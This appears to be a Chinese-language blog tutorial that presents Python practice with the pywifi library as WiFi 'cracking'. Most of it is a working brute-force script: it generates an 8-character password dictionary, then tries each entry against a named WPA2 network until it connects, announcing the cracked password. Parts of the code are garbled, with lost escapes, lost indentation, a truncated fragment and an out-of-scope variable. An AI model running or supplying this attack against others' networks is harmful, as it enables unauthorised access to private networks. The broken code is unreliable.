本文旨在通过趣味探索来练习Python编程,并希望能激发大家对网络安全的兴趣!第一部分:内容讲解Pywifi – Python用法首先,让我们了解一下Pywifi是什么。我们知道Python之所以强大,主要是因为有很多现成的库可供使用,许多第三方程序员或公司为其开发了库,这些库中包含许多功能模块,可以直接使用。常见的库:在本例中,我们将使用第三方库,即Pywifi。这个库中包含许多工具(类、函数),可以帮助我们操作无线网络接口。Python中也有一些内置库,可以直接使用,但如果是第三方库,就需要我们花点功夫进行安装,安装方法也很简单。1、在命令提示符下:如果您已经配置好了环境变量,可以直接安装。如果没有配置好,可以进入Python的安装目录下的Scripts文件夹,然后使用pip进行安装。
import pywifi
from pywifi import const
print(const.IFACE_DISCONNECTED)
print(const.IFACE_SCANNING)
print(const.IFACE_INACTIVE)
print(const.IFACE_CONNECTING)
print(const.IFACE_CONNECTED)
2、在PyCharm中,可以按照下图的步骤进行安装:安装好Pywifi后,还需要安装一个comtypes库,因为Pywifi是基于comtypes的。关于如何安装comtypes库的步骤,我不再记录,请大家自行完成安装。好了,现在让我们解释一下Pywifi的基础知识。我们知道,如果要破解WiFi账号,首先必须找到相应的无线网卡(网络接口),然后找到要破解的WiFi账号,最后使用字典进行爆破。因此,我们先练习一下如何获取网卡(网络接口)。
import pywifi
from pywifi import const, Profile
获取网卡接口
wifi = pywifi.PyWiFi() # 得到第一个无线网卡
ifaces = wifi.interfaces()[0] # 切断网卡连接
ifaces.disconnect() # 获取WiFi的连接状态
wifistatus = ifaces.status() # 检查WiFi是否处于切断状态
if wifistatus == const.IFACE_DISCONNECTED:
总结一下Pywifi模块的基本用法现在,让我们总结一下Pywifi模块中常用的三个类——PyWiFi、Profile、Interface等。PyWiFi类用于操作无线设备,该类的主要方法interfaces用于执行无线网络操作,主要包括以下函数:
import itertools
items = '1234567890qwertyuiopasdfghjklzxcvbnm'
password = itertools.product(items, repeat=8)
with open('D:wifipassword.txt', 'w', encoding='utf8') as f:
for i, j in enumerate(password):
print(f'产生第{i+1}个密码')
f.write(''.join(j))
f.write(''.join('n'))
Profile类表示无线接入点(AP),即无线网卡搜索出的可连接或可用的无线连接。Profile类的主要属性如下表所示:
第二部分:代码操作讲解(按照步骤操作大约需要45分钟)首先,让我们使用Python生成一个密码字典。
import pywifi
from pywifi import const,Profile
import time
import datetime
# 测试连接,返回链接结果
def wifiConnect(pwd):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0] # 获取第一个无线网卡
# 断开所有连接
ifaces.disconnect() #断掉当前无线网络连接
time.sleep(1) #将程序推迟一秒钟后继续下一个语句
wifistatus = ifaces.status() #获取当前无线网络连接状态
if wifistatus == const.IFACE_DISCONNECTED: #如果wifi连接状态是未连接
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称
profile.ssid = "catfish2018"
profile.auth = const.AUTH_ALG_OPEN #auth属性代表认证算法,包括AUTH_ALG_OPEN、.AUTH_ALG_SHARED两种,默认为AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK) #授权密钥管理方式,包括AKM_TYPE_NONE、AKM_TYPE_WPA、AKM_TYPE_WPAPSK、AKM_TYPE_WPA2、AKM_TYPE_WPA2PSK、AKM_TYPE_UNKNOWN,默认为AKM_TYPE_NONE
profile.cipher = const.CIPHER_TYPE_CCMP #密码类型,包括CIPHER_TYPE_NONE、CIPHER_TYPE_WEP、CIPHER_TYPE_TKIP、CIPHER_TYPE_CCMP、CIPHER_TYPE_UNKNOWN,默认为CIPHER_TYPE_NONE
profile.key = pwd #无线网络连接密码
ifaces.remove_all_network_profiles() #移除所有无线网络(AP)
tep_profile = ifaces.add_network_profile(profile) #添加特定无线网络(AP)以便后续连接
ifaces.connect(tep_profile) #连接指定的无线网络(AP)
# wifi连接时间
time.sleep(5)
if ifaces.status() == const.IFACE_CONNECTED: #获取当前无线网络连接状态
return True
else:
return False
else:
print("已有wifi连接")
#
# 读取密码本
def readPassword():
success = False
print("****************** WIFI破解 ******************")
# 密码本路径
path = "D:wifipassword.txt"
# 打开文件
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline() #readline() 方法用于从文件读取整行,包括 "n" 字符
# 去除密码的末尾换行符
pwd = pwd.strip('n')
bool = wifiConnect(pwd) #wifiConnect(passwd)函数用来验证密码是否正确
if bool:
print("[*] 密码已破解:
", pwd)
print("[*] WiFi已自动连接!
!
!
")
success = True
break
else:
# 跳出当前循环,进行下一次循环
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:
%s"%(profile.ssid,pwd))
except:
continue
end = datetime.datetime.now()
if(success):
print("[*] 本次破解WIFI密码一共用了多长时间:
{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!
")
exit(0)
if __name__=="__main__":
readPassword()
简单WiFi爆破代码讲解:参考文档:【1】用Python破解WiFi密码,太刺激了【2】Pywifi – Python用法【3】Python中pywifi模块的基本用法讲解【4】WiFi网络接入原理 #sc=2080【5】Python编写密码破解字典